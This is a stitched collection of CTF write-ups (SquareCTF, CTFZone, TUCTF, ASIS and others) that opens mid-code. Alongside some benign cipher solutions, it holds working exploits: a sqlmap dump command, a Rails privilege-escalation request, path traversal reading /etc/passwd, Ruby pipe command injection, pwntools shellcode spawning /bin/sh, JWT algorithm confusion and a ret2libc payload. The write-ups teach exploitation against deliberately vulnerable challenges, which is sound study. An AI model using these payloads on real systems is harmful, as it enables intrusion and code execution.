0x00, 0x00, 0x47, 0x0d, 0x02, 0x20, 0x00, 0x41, 0x01, 0x6a, 0x21, 0x00, 0x0c, 0x00, 0x0b, 0x0b, 0x41, 0x01, 0x0f, 0x0b, 0x41, 0x00, 0x0b, 0x0b, 0x27, 0x01, 0x00, 0x41, 0x80, 0x01, 0x0b, 0x20, 0x4a, 0x6a, 0x5b, 0x60, 0xa0, 0x64, 0x92, 0x7d, 0xcf, 0x42, 0xeb, 0x46, 0x00, 0x17, 0xfd, 0x50, 0x31, 0x67, 0x1f, 0x27, 0x76, 0x77, 0x4e, 0x31, 0x94, 0x0e, 0x67, 0x03, 0xda, 0x19, 0xbc, 0x51]);var wa = new WebAssembly.Instance(new WebAssembly.Module(code));var buf = new Uint8Array(wa.exports.memory.buffer);async function go() { sizes = [...[...Array(4)].keys()].map(x => x * 128); buf.set(x.value.substr(sizes[0], sizes[1]) .padEnd(sizes[1]) .split('') .map(x => x.charCodeAt(''))); if (wa.exports.validate()) { hash = await window.crypto.subtle.digest("SHA-1", buf.slice(sizes[2], sizes[3])); r.innerText = "\uD83D\uDEA9 flag-" + [...new Uint8Array(hash)].map(x => x.toString(16)) .join(''); } else { r.innerHTML = x.value == "" ? " " : "\u26D4"; }}```
which, after running it through `wasm2js` from [binaryen](https://github.com/WebAssembly/binaryen), looks more like this
```javascriptfunction $0() { var $i = 0, $1 = 0, $2 = 0; $i = 0; label$1 : { label$2 : { label$3 : while (1) { if (($i) == (32)) { break label$2 } $2 = 2; $1 = 0; label$4 : { label$5 : while (1) { if (($i) == ($1)) { break label$4 } $2 = Math_imul(HEAP32[(Math_imul($1, 4) + 256) >> 2], $2); $1 = $1 + 1; continue label$5; }; } HEAP32[(Math_imul($i, 4) + 256) >> 2] = $2 + 1; if (((HEAPU8[$i]) ^ (HEAPU8[($i + 128)])) != (HEAPU8[(Math_imul($i, 4) + 256)])) { break label$1 } $i = $i + 1; continue label$3; }; } return 1; } return 0; }```
where the global buffer at index 128 is set to the string of "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=" (after base64 decoding).
A simple Python equivalent, which totally doesn't have an overflow that makes it super slow to run, can be seen here:
```pythonbuffer = [0] * 65536buf_128 = "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=".decode('base-64')
i, var1, var2 = 0, 0, 0flag = ""
while True: if i == 32: break var2 = 2 var1 = 0 while True: if i == var1: break var2 = buffer[(var1*4+256)>>2] * var2 var1 += 1 buffer[(i*4+256)>>2] = var2 + 1 flag += chr(((var2 + 1) ^ ord(buf_128[i])) & 0xFF) i += 1 print(flag)```
this eventually prints out `Impossible is for the unwilling.`, and entering this into the box gives our flag.
# Lockbox (600p) [go, web]
We're given an image with the URL `https://lockbox-6ebc413cec10999c.squarectf.com/?id=3` on it, and the source code to a Golang website for storing time-locked secrets. To upload a secret, you need to enter a time when your message should be decryptable, and a captcha. When you want to read a message, you need to provide both the id and the hmac of the data, and the current server time must be greater than the given timelock time. The crypto and time check alone seem good enough, and there's no glaring vulnerabilities there we can immediately use. (They are using a very bad IV, and not verifying the consistency of all the parameters together, but we can't get to the key or trick the server time into being anything else).
However, the captcha is generated in your session, but instead of giving the letters to you, they give them in an encrypted form. The `/captcha` end-point is able to decrypt this captcha message, and display it to you. So the end-point is basically a decryption oracle. If we can obtain an encrypted message, we can decrypt it with the captcha oracle, and by increasing the width parameter we can see all the letters in the output.
The `id` parameter is also being used directly inside an SQL query with no attempts at sanitation, and exploiting this is trivial. For maximum ease, I just used sqlmap for this, and the final command looked like this
`$ python sqlmap.py -o -u "https://lockbox-6ebc413cec10999c.squarectf.com/?id=3" --random-agent -D primary_app_db -T texts --dump`
```+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+| id | data | lock |+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+| 1 | TIJlneBxX-6sr4kUQdw0idCcoDh-t0lj5fU9e3cgU_gmLOZ96NrvxRe32o0wWrPJsv_66ACUTgPL_ewvHxMvOn2AGZl2opQO15rOjfkiw1lAEzhtK62J2Ce3T-SyzCpzSPSwQM6OdoF9HeZCH_xqFg | 1570492800 || 2 | P2HVNdfiXhJVnbjE70yqC2fLS8Cez0bxvfoDfDn5FRo8nAVU_R5ZTblcj5CgLw_qtM_D3zgWElLmeFqIGZwq49kgI-rvlR_tKXmFMVGbkVaTeEy6V0JM9EiRthnlIEjAq_L8Qs9WTBWZ2nzZrs57Mw | 1570665600 || 3 | Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ | 1602288000 |+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+```
decrypting it can be done by entering message 3 like `https://lockbox-6ebc413cec10999c.squarectf.com/captcha?w=700&c=Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ` and we get the flag as an image:
# Go cipher (1000p) [go, not web]We are given a piece of Golang code, and a bunch of ciphertext/plaintext pairs. The flag ciphertext has no plaintext component, and all ciphertexts are in hex form. Going through the code, there are a few things to notice:
1. The md5sum of the key is written at the start of each ciphertext. The only ciphertext that has a key match with the flag, is "story4.txt.enc".2. The key consists of 3 64-bit numbers; x, y and z.3. Our output is simply `(input - x) ^ y ^ z` where the lowest 8 bits of x/y/z are used.4. x is bitwise rotated 1 step to the right, and y/z are both rotated 1 step to the left. This means that y and z are shifting equally, and since the ouput is just XORed with both, we could replace them with k=y^z and treat it as a single number.
I used Z3 to recover some key that successfully encrypts `story4.txt` into the known bytes in `story4.txt.enc`. Getting the exact original key is not necessary.
```pythonfrom z3 import *
def rotl(num, bits): bit = num & (1 << (bits-1)) num <<= 1 if(bit): num |= 1 num &= (2**bits-1)
return num
def rotr(num, bits): num &= (2**bits-1) bit = num & 1 num >>= 1 if(bit): num |= (1 << (bits-1))
return num
x_org = BitVec("x", 64)y_org = BitVec("y", 64)z_org = BitVec("z", 64)
x, y, z = x_org, y_org, z_orgdata_enc = map(ord, open("story4.txt.enc").read()[32:].decode('hex'))data_dec = map(ord, open("story4.txt").read())
assert len(data_enc) == len(data_dec)
s = Solver()for i in xrange(len(data_dec)): s.add( ((data_dec[i] - (x&0xFF)) ^ (y&0xFF) ^ (z&0xFF)) &0xFF == data_enc[i]) x = RotateRight(x, 1) y = RotateLeft(y, 1) z = RotateLeft(z, 1)
if s.check() == sat: m = s.model() xx = m[x_org].as_long() yy = m[y_org].as_long() zz = m[z_org].as_long() flag_enc = map(ord, open("flag.txt.enc").read()[32:].decode('hex')) flag_dec = "" for e in flag_enc: flag_dec += chr( ((e ^ (yy&0xFF) ^ (zz&0xFF)) + xx&0xFF) & 0xFF ) xx=rotr(xx, 64) yy=rotl(yy, 64) zz=rotl(zz, 64) print(flag_dec)```
Prints `Yes, you did it! flag-742CF8ED6A2BF55807B14719`
# 20.pl (500p) [perl, cryptography]
Deobfuscating the script gives something like this```perl#!/usr/bin/perl
print( "usage: echo <plaintext|ciphertext> | $0 <key>" ) && exit unless scalar @ARGV;$/ = \1;use constant H => 128;@key = split "", $ARGV[0];for ( @a = [], $i = H ; $i-- ; $a[$i] = $i ) { }for ( $j = $i = 0 ; $i < H ; $i++ ) { $j += $a[$i] + ord $key[ $i % 16 ]; ( $a[$i], $a[ $j % H ] ) = ( $a[ $j % H ], $a[$i] );}
for ( $i = $j = $m = 0 ; <STDIN> ; print chr( ord $_ ^ $l ^ $m ) ) { $j += $a[ ++$i % H ]; ( $a[ $i % H ], $a[ $j % H ] ) = ( $a[ $j % H ], $a[ $i % H ] ); $l = $a[ ( $a[ $i % H ] + $a[ $j % H ] ) % H ]; $m = ( ord( $key[ $i / 64 % 16 ] ) << $i ) & 0xff; $x = $i / 64 % 16;} # -- Alok```
It initializes some array with values 0..128, then permutes that array based on the key (which is up to 16 bytes long). Finally, it continues to permute the array and XORs the input with elements from the array. This has all the hallmarks of RC4, except it doesn't operate on values up to 255. What this means, is that `$l` is never larger than 127, and thus the top bit of the input is never touched by XOR with `$l`. However, the input is also XORed with an `$m`, which contains a byte of the key, but shifted upwards.
Looking at the top bit of 8 consecutive bytes, will immediately give out one byte of the key, *provided that the original input was ASCII* - as printable ASCII does not have the top bit set either. Our target file is a PDF, which contain mixed ASCII parts and binary streams, and our goal is then to try to find a long enough stretch of ASCII that we can recover the key. I experimented a bit with various offsets into the code, and quickly learnt that the key was only hexadecimal letters. This narrowed the scope of candidate letters by quite a lot, and near the end of the PDF I was able to find something that decode into a key that worked.
```pythonimport operator
printable = "01234567890abcdef"
data = open("flag.pdf.enc","rb").read()
all_cands = [{} for _ in xrange(16)]
for block in range(700, len(data)//(64*16)): for i in xrange(16): cands = {} for j in xrange(8): keychar = "" for k in xrange(8): ix = (block*64*16) + i*64 + j*8 + k keychar += "1" if ord(data[ix])&0x80 else "0" c = chr(int(keychar, 2) >> 1) if c in printable: cands[c] = cands.get(c,0) + 1
for k, v in cands.iteritems(): all_cands[i][k] = all_cands[i].get(k,0) + v
key = ""
for cand in all_cands: sorted_cands = sorted(cand.iteritems(), key=operator.itemgetter(1), reverse=True) print(sorted_cands[:3]) key += sorted_cands[0][0]
print(key)```
Now we just run `cat flag.pdf.enc | perl5.20.1 20.pl 4600e0ca7e616da0 > flag.pdf` and we get the flag back. |
# Emerald Rush
## Recon
There is a link to [a gitlab repo](https://gitlab.com/GitterLaburin/filesh4r3r) hidden inside a comment. This give us the source code of the challenge. (Secrets not included)
```
```
## User service
The application uses JSON Web Tokens (JWT) to keep track of the user's identity.It also contains whether the user is admin or not (`is_admin`)
```$ cut -f2 -d. | base64 -d | jq { "user_id": 151, "is_admin": false, "exp": 1575321382}```
It is possible to change the current user's password. The code handling this is located in `UsersController`.
```class UsersController < ApplicationController def index # [1] req_params = params if request.post? req_params = user_update_params end req_params['id'] = @current_user['user_id'] # [3] Net::HTTP.start(Rails.application.secrets.auth_api_addr, Rails.application.secrets.auth_api_port) { |http| res = http.send_request(request.method, '/user', req_params.as_json.to_query) # [...]
# [2] def user_update_params params.permit(:username, :password) end```
The endpoint is mapped for both GET and POST methods.The code works the following way:1. If the request is a POST request, sanitize the request2. `req_params` becomes `params` filtered with only `username` and `password`3. `req_params` is forwarded to the authentication backend.
If the `request.post?` check was not present, it would be possible to fill `req_params` with anything, in particular with `is_admin`, which would effectively set the current user administrator.
It is possible to make `request.post` be false even though the request is a `POST` request using Rails's magic `_method` parameter.The source for parameter can be found [on Ruby on Rails's documentation](https://api.rubyonrails.org/classes/ActionDispatch/Request.html#method-i-request_method)
```$ curl 'http://web-emeraldrush.ctfz.one/user' \ -H "Cookie: session=$SESSION" \ --data-urlencode 'username=tfns' \ --data-urlencode 'password=H1gh.Qu4lity.St3gan0gr4ph3rz' \ --data-urlencode 'is_admin=true' \ --data-urlencode '_method=GET'
[...] <h1>Profile</h1> Username: tfns UserID: 151 Role: Admin [...]```
Username: tfns
UserID: 151
Role: Admin
After a quick logout/login:
## File Service
Once we are admin we are allowed to use the Files section.
He we can upload and retreive files.
After **a lot** of guessing we discovered a weird behavior.
If we upload a file named `owned` we can retreive it by going on the link `http://web-emeraldrush.ctfz.one/files?filename=owned`
But if we go to `http://web-emeraldrush.ctfz.one/files?filename=owne/d` with a `/` in the middle of the name the server returns an error 500. This behavior is present only if a file with the name `owned` exists.
So we tried to create a file file named `....................etcpasswd`.And retreving it with `http://web-emeraldrush.ctfz.one/files?filename=../../../../../../../../../../etc/passwd`
And we got
```root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologin```
A script was used to retrieve files rapidly from the remote server. See `read.sh` in the appendices.
### Exploration of the backend
1. Retrieve Dockerfile2. Retrieve parts of the app3. Retrieve Gemfile4. Retrieve grape api router (api.rb)5. Retrieve acme/ directory
### Analysis of the API
The API consists of 3 files: `download.rb`, `list.rb` and `upload.rb`.The user's `user_id` is passed to all of them. It is interpreted as an integer. It is not possible to alter it.
The `Dockerfile` found at the server's root contains the following statement:```RUN mv /myapp/flag /run_me_to_get_fl@g && chmod 111 /run_me_to_get_fl@g```
This means the end goal of this task is to get code execution on the server to obtain the flag.
In ruby if the name of the file you want to open starts with a pipe, it will be executed as a shell command and the output will be the content of the file.For example if you do `File.read('|id')` you will get the output of the command `id`.
So we looked for reference to file opening.
`upload.rb` uses the following construct: `File.read(attrs[:file][:tempfile])`.
The Gemfile specifically pins a version of the `grape` gem. This version, the 1.2.2 is outdated and vulnerable.
Among the published vulnerabilities, one caught our attention:
[ File type validator not checking the type of :tempfile #1841](https://github.com/ruby-grape/grape/issues/1841#issue-390113934)
And its [corresponding patch](https://github.com/ruby-grape/grape/pull/1844/files)
This means that it is possible to leverage the vulnerability mentionned above to read an arbitrary file on the remote server with `File.read()`.
Using both this *feature* and the vulnerability, it is possible to execute arbitrary commands on the backend server.
```curl 'http://web-emeraldrush.ctfz.one/files' \ -H "Cookie: $COOKIE" \ -F 'file[filename]=owned' \ -F 'file[tempfile]=|/run_me_to_get_fl@g>/tmp/ikoLx9oR90'
./read.sh /tmp/ikoLx9oR90ctfzone{c@ll_tH3_1nf0s3c_p0l1c3_th3y_@r3_h0ld1ng_m3_c@pt1v3_@nd_m@k3_m3_c0de_0n_ruby}```
**Flag**: `ctfzone{c@ll_tH3_1nf0s3c_p0l1c3_th3y_@r3_h0ld1ng_m3_c@pt1v3_@nd_m@k3_m3_c0de_0n_ruby}`
## Appendices
### read.sh```#!/bin/shCOOKIE="session=eyJhbGciOiJSUzI1NiJ9.eyJ1c2VyX2lkIjoxNTEsImlzX2FkbWluIjp0cnVlLCJleHAiOjE1NzUzMjIyMTN9.HlbfEmoaheXlI3H6_qIMk-dCjN1nAUP4NxKKAEkCht0iyS4b2MDS-pVS5jxSRaQ4DSh04hIxQDveb1QhwBjCsQFBOLQpMeabDs45wHHE8FckfkM5JBypdcj2IjaWJ9y_inDHPQCUOwV2Ap3oTzkCYy7QSk1CUWf6VIQrkw5yQE7RuzLXvBfDq4wtcgm4hfBhR83D18bt05o7rWv5ux6xoZmG4EGzCvTZlE0pLHpIe3XIWNC5o-Z2gYw1BryOfQ2rejUxkjTYi72_jsB5BIaMIqdLlwyQjt_ft62mp14RhvY99usLXOX7KTVghFEyUAtONCT_NOoJAIWDX8PAzJIklw"FILENAME=$1FILENAME_CLEAN=$(echo $FILENAME | tr -d '/')
curl -s 'http://web-emeraldrush.ctfz.one/files' -H "Cookie: $COOKIE" \ -F "file=@/dev/null;filename=$FILENAME_CLEAN" > /dev/null
curl -G 'http://web-emeraldrush.ctfz.one/files' -H "Cookie: $COOKIE" \ --data-urlencode "filename=$FILENAME" --output -```
### Gemfile```source 'https://rubygems.org'
ruby '2.5.7'
gem 'grape', '1.2.2'gem 'puma'gem 'rails'gem 'pg'```
### acme/download.rb```module Acme class Download < Grape::API resource 'download/:user_id/:file_name' do
params do requires :user_id, type: Integer requires :file_name, type: String, coerce_with: Base64.method(:decode64) end
get do if File.exist?(Rails.root.join("uploads", params[:user_id].to_s, params[:file_name].to_s.tr('/',''))) content_type "application/octet-stream" header['Content-Disposition'] = "attachment; filename=" + params[:file_name] env['api.format'] = :binary File.open(Rails.root.join("uploads", params[:user_id].to_s, params[:file_name].to_s)).read else status 404 { :status => 'bad request', :message => "file not found" } end end
end endend```
### acme/list.rb```module Acme class List < Grape::API resource 'list/:user_id' do
params do requires :user_id, type: Integer end
get do if Dir.exist?(Rails.root.join('uploads',params[:user_id].to_s)) file_list = Dir.entries(Rails.root.join('uploads', params[:user_id].to_s)).select {|f| !File.directory? f} if file_list.any? {:status => "ok", :files => file_list} else status 404 {:status => "Not Found", :files => []} end else {:status => "No Files", :files => []} end end end endend```
### acme/upload.rb```module Acme class Upload < Grape::API helpers do def commit_params(attrs) { file_name: attrs[:file][:filename], file_content: File.read(attrs[:file][:tempfile]) } end
def declared_params(options = {}) options = {include_parent_namespaces: true }.merge(options) declared(params, options).to_h.symbolize_keys end end
resource 'upload/:user_id' do params do requires :user_id, type: Integer requires :file, type: File end
post do options = {'include_missing': false} options = {include_parent_namespaces: false}.merge(options) # a = commit_params(declared_params(include_missing: false)) args = declared(params, options).to_h.symbolize_keys Dir.mkdir(Rails.root.join('uploads',args[:user_id].to_s)) unless Dir.exist?(Rails.root.join('uploads',args[:user_id].to_s)) uploaded_file = File.read(args[:file][:tempfile]) unless args[:file][:filename].to_s.strip.empty? and File.exist?(Rails.root.join('uploads',args[:user_id], args[:file][:file_name])) File.open(Rails.root.join('uploads', args[:user_id].to_s , args[:file][:filename]), 'wb') do |file| file.write(uploaded_file) { :status => "ok", :message => "created" } end else status 400 {:status => 'bad request', :message => "please try again"} end end end endend``` |
```#!/usr/bin/env python2''' author : tripoloski visit : https://tripoloski1337.github.io/ mail : [email protected] generated by skeloski GEF'''import sysfrom pwn import *context.update(arch="i386", endian="little", os="linux", log_level="info",)LOCAL, REMOTE = False, FalseTARGET=os.path.realpath("/home/tripoloski/code/ctf/tuCTF-2019/pwn/3step/3step")elf = ELF(TARGET)
def attach(r): if LOCAL: bkps = [] gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps])) return
def exploit(r): #attach(r) r.recvuntil("snacks\n") buf = int(r.recv(10) , 16) r.recvuntil("\n") buf1= int(r.recv(10) , 16)
# source exploit: http://shell-storm.org/shellcode/files/shellcode-752.php # xor ecx, ecx # mul ecx # push ecx # push 0x68732f2f # push 0x6e69622f # mov ebx, esp # mov al, 11 # int 0x80
# exploit stage 1 p = asm(''' xor ecx, ecx mul ecx push ecx push 0x68732f2f mov edi, '''+ hex(buf1) +''' jmp edi ''' )
p2 = asm(''' push 0x6e69622f mov ebx, esp mov al, 11 int 0x80 ''')
print(len(p)) print(len(p2))
log.info("buffer : " + hex(buf) ) # 18 log.info("buffer1 : " + hex(buf1) )# 16
r.sendlineafter("Step 1:",p) r.sendlineafter("Step 2:",p2) r.sendlineafter("Step 3:",p32(buf))
r.interactive() return
if __name__ == "__main__": if len(sys.argv)==2 and sys.argv[1]=="remote": REMOTE = True r = remote("chal.tuctf.com", 30504) else: LOCAL = True r = process([TARGET,]) exploit(r) sys.exit(0)
``` |
NULL byte overflow.
Get overlapped chunks to leak libc address, then use overlapped chunks to do a tcache poisoning attack and overwrite `__free_hook` with one gadget for RCE. |
## Description* **Name:** [Breakfast](https://2019.peactf.com/problems)* **Points:** 50* **Tag:** Crypto
## Tools* Firefox Version 60.8.0 https://www.mozilla.org/en-US/firefox/60.8.0/releasenotes/* Baconian Cipher/Decipher http://rumkin.com/tools/cipher/baconian.php
## WriteupDownload the file called enc.txt (ce9b5ebdbd28295013f084b5acd487e6) through the link where we find a [Baconian](http://rumkin.com/tools/cipher/baconian.php) message code.
```bashroot@1v4n:~/CTF/peaCTF2019/crypto/Breakfast# wget https://shell1.2019.peactf.com/static/fa2ff378dd2e1361fcf19cdf92e5d6f0/enc.txtroot@1v4n:~/CTF/peaCTF2019/crypto/Breakfast# md5sum enc.txtce9b5ebdbd28295013f084b5acd487e6 enc.txtroot@1v4n:~/CTF/peaCTF2019/crypto/Breakfast# file enc.txtenc.txt: ASCII textroot@1v4n:~/CTF/peaCTF2019/crypto/Breakfast# cat enc.txt011100010000000000101001000101{00100001100011010100000000010100101010100010010001```We use the rumkin online tool to decode the message >
or with the following python script
```python#! /usr/bin/python
lookup = {'A':'00000', 'B':'00001', 'C':'00010', 'D':'00011', 'E':'00100', 'F':'00101', 'G':'00110', 'H':'00111', 'I':'01000', 'K':'01001', 'L':'01010', 'M':'01011', 'N':'01100', 'O':'01101', 'P':'01110', 'Q':'01111', 'R':'10000', 'S':'10001', 'T':'10010', 'U':'10011', 'W':'10100', 'X':'10101', 'Y':'10110', 'Z':'10111'}
def decrypt(message): decipher = '' i = 0
while True : if(i < len(message)-4): substr = message[i:i + 5] if(substr[0] != ' '):
decipher += list(lookup.keys())[list(lookup.values()).index(substr)] i += 5
else: decipher += ' ' i += 1 else: break
return decipher
def main(): message = "01110001000000000010100100010100100001100011010100000000010100101010100010010001" result = decrypt(message) print (result.lower())
if __name__ == '__main__': main()``````bashroot@1v4n:~/CTF/peaCTF2019/crypto/Breakfast# python get_flag.pypeactfeggwaffles```We capitalize CTF >
### Flag
`peaCTF{eggwaffles}`
|
Forge a token:* Set "type" to "admin" instead of "user"* Set "alg" to "HS256" instead of "RS256"* Sign it using the server's public RSA key as the HS256 key |
The binary limit the input, we can only input 17 bytes in the first buffer and 16 bytes in the second buffer.in the 1st buffer we made a 17 bytes shellcode like this``` xor eax, eax push eax push 0x68732f2f push 0x6e69622f lea esi, [ebp-28] call esi```And for the 2nd buffer, we made the shellcode like this``` add esp, 4 mov ebx, esp xor ecx, ecx xor edx, edx mov al, 0xb int 0x80```in the 1st shellcode, we push "/bin//sh" to esp, and call the 2nd buffer address(lea for load effective address, and call to call it) and set up the stack for syscall so it will execute execve('/bin//sh', 0, 0) |
ASIS CTF Finals 2019 - Andex============================
We start off with a single apk given. Running this through jadx-gui, we quickly find a list of API endpoints (some without the actual URL) in `APIInterface` and a base URL of `http://66.172.33.148:5000/` (found in `Utils`):
- `PostUserProf`: no url yet- `getConf`: api/get_config/{rolid}- `getDex`: api/get_dex/{dex}- `getReg`: api/userClass/register/{name}- `getShopItem`: no url yet- `getShopOrder`: no url yet- `getShopOrderD`: no url yet- `getUserProf`: no url yet
Following through the logic for `SplashScreen`, we register a user for ourselves, and receive an encryption key, a role id and a uuid which serves as our authentication token.
```sh$ curl http://66.172.33.148:5000/api/userClass/register/flagbot{"code":200,"data":{"encryption_key":"TXlEaWZmaWN1bHRQYXNzdw==","role_id":"RID5EF655B2-60C0-4F32-9AF3-BCB8A47CCF63","uuid":"b55a22ae-d7e1-4ab6-8280-4a200797a408"}}```
Then walking through the code for `ConfigurationActivity`, we obtain the config for our role id, and obtain the corresponding encrypted dex file, which we can then decrypt with AES-ECB and our encryption key (which turns out to be identical to the one hardcoded for the encryption method).
```sh$ curl http://66.172.33.148:5000/api/get_config/RID5EF655B2-60C0-4F32-9AF3-BCB8A47CCF63 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408"{"code":200,"data":{"dex":"0D034B4F-61F5-4DB0-9FAF-E88B24F30572"}}$ curl http://66.172.33.148:5000/api/get_dex/0D034B4F-61F5-4DB0-9FAF-E88B24F30572 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408" -o config_enc.dex```
```pythonfrom Crypto.Cipher import AESc = AES.new(b"MyDifficultPassw", AES.MODE_ECB)with open("config.dex", "wb") as o: o.write(c.decrypt(open("config_enc.dex", "rb").read()))```
And so we obtain the missing API endpoint urls, so we can for example see items in the shop or inspect ourselves.- /api/shop/items/get_data- /api/shop/order/- /api/userClass/me
```sh$ curl http://66.172.33.148:5000/api/shop/items/get_data -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408" | jq{ "code": 200, "data": [ { "description": "About free book", "img_addr": "/static/book.jpg", "item_id": 1, "price": 0, "stock": 1, "title": "Free book" }, { "description": "About book 1", "img_addr": "/static/book.jpg", "item_id": 2, "price": 5, "stock": 0, "title": "Book 1" }, { "description": "About book 2", "img_addr": "/static/book.jpg", "item_id": 3, "price": 5, "stock": 0, "title": "Book 2" }, { "description": "About book 3", "img_addr": "/static/book.jpg", "item_id": 4, "price": 5, "stock": 0, "title": "Book 3" }, { "description": "The flag is here :)", "img_addr": "/static/flag.jpg", "item_id": 5, "price": 1000, "stock": 1, "title": "flag" } ]}
$ curl http://66.172.33.148:5000/api/shop/order/1 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408" {"code":200,"data":{"result":"purchased successfully, but you cannot get anything for free :)"}}
$ curl http://66.172.33.148:5000/api/userClass/me -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408" {"code":200,"data":{"blc_currency":1,"id":31,"role_id":"RID5EF655B2-60C0-4F32-9AF3-BCB8A47CCF63","username":"flagbot","uuid":"b55a22ae-d7e1-4ab6-8280-4a200797a408"}}```
So our goal should be to obtain enough money to buy the flag, and do so.
To get there, we observe that we can update our username through the api, as long as we provide a good md5 checksum. I wonder what would happen if we instead try to update out `blc_currency`.
```pythonfrom hashlib import md5print(md5(b'{"blc_currency": 1000}MyDifficultPassw').hexdigest())```
Note: don't forget to provide an appropriate Content-Type header```sh$ curl http://66.172.33.148:5000/api/userClass/me -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408" -H "checksum: 9188845ea312bf76d91f63990a6feda2" -H "Content-Type: application/json" -d '{"blc_currency": 1000}'{"code":200,"data":{"result":"ok"}}
$ curl http://66.172.33.148:5000/api/userClass/me -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408"{"code":200,"data":{"blc_currency":1000,"id":31,"role_id":"RID5EF655B2-60C0-4F32-9AF3-BCB8A47CCF63","username":"flagbot","uuid":"b55a22ae-d7e1-4ab6-8280-4a200797a408"}}```
And there we go, that should be enough money to buy the flag. When buying the flag, we again get a dex file that we need to decrypt first (as happened for the config.dex).
```sh$ curl http://66.172.33.148:5000/api/shop/order/5 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408"{"code":200,"data":{"result":"625551C4-BB3F-48FB-9C29-A69F7AD74968"}}
$ curl http://66.172.33.148:5000/api/get_dex/625551C4-BB3F-48FB-9C29-A69F7AD74968 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408" -o flag_enc.dex```
Unfortunately, this isn't quite the flag yet, as it tells us that "you are not gold user to buy this item". Besides that, we also obtain an undocumented api endpoint at /api/userClass/u/[user_id]/get/[property_name].So let's try to obtain the admin's role id instead of our own then.
```sh$ curl http://66.172.33.148:5000/api/userClass/u/1/get/role_id -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408" {"code":200,"data":{"property":"RIDDFBE279A-8DC0-46DF-88A6-9717757C29A2"}}
$ curl http://66.172.33.148:5000/api/get_config/RIDDFBE279A-8DC0-46DF-88A6-9717757C29A2 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408" {"code":200,"data":{"dex":"8E04B1AE-8F63-4999-8D0E-886210B7F9D0"}}
$ curl http://66.172.33.148:5000/api/get_dex/8E04B1AE-8F63-4999-8D0E-886210B7F9D0 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408" -o admin_config_enc.dex```
Decrypting and decompiling that gives us yet another api endpoint, that seems to allows us to make a purchase as a gold user: /api/shop/order/as/gold/item_id/. We still have all our money, so let's try buying it as gold user.
```sh$ curl http://66.172.33.148:5000/api/shop/order/as/gold/item_id/5 -H "uuid: b55a22ae-d7e1-4ab6-8280-4a200797a408" {"code":200,"data":{"flag":"ASIS{1000c2e79e6fc679a46bad1b065639c5}"}}```
Victory! |
# Shiny // Writeup
## Problem
*.‡8]5);483‡5;*
*You must wrap the flag in RITSEC{ }*
## Solution
In this statement we have a file called `gold-bug.jfif`. We can decrypt this ciphertext from gold bug cipher.
`A 5 B 2 C - D † E 8 F 1 G 3 H 4 I 6J , K 7 L 0 M 9 N * O ‡ P . Q $ R (S ) T ; U ? V ¶ W ] X ¢ Y : Z [`
each letter corresponds to a character.
**FLAG**: `RITSEC{poewasthegoat}` |
### Given a binary with the detail below```chao at Yu in [~/Documents/WriteUps/TUCTF/pwn/pancakes] on git:master ✗ 7e4a166 "Added so many new pwn"17:17:35 › file pancakes && checksec pancakespancakes: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, BuildID[sha1]=a653a608db5ab4716ca7b1e891ee3b460e097eb8, for GNU/Linux 3.2.0, not stripped[*] '/home/chao/Documents/WriteUps/TUCTF/pwn/pancakes/pancakes' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)```
The first thing comes through my mind is **ret2libc** to get shell. So immidiately i tried to leak libc, overwrite the return address with **printf plt** and set the argument with the **GOT address** and set the next address to **main** so it will print the **GOT address** and return back to **main**
```from pwn import *
def exploit(p, libc, libc_diff): binary = ELF("pancakes") main = binary.symbols['main'] printf_plt = binary.plt['printf'] printf_got = binary.got['printf'] padding = 44
payload = '' payload += 'A' * padding payload += p32(printf_plt) payload += p32(main) payload += p32(printf_got)
p.sendline(payload)```After leaking the libc address, we calculate the base address and overwrite the return address to **system** with argument address of **/bin/sh** so it will execute **system("/bin/sh")**
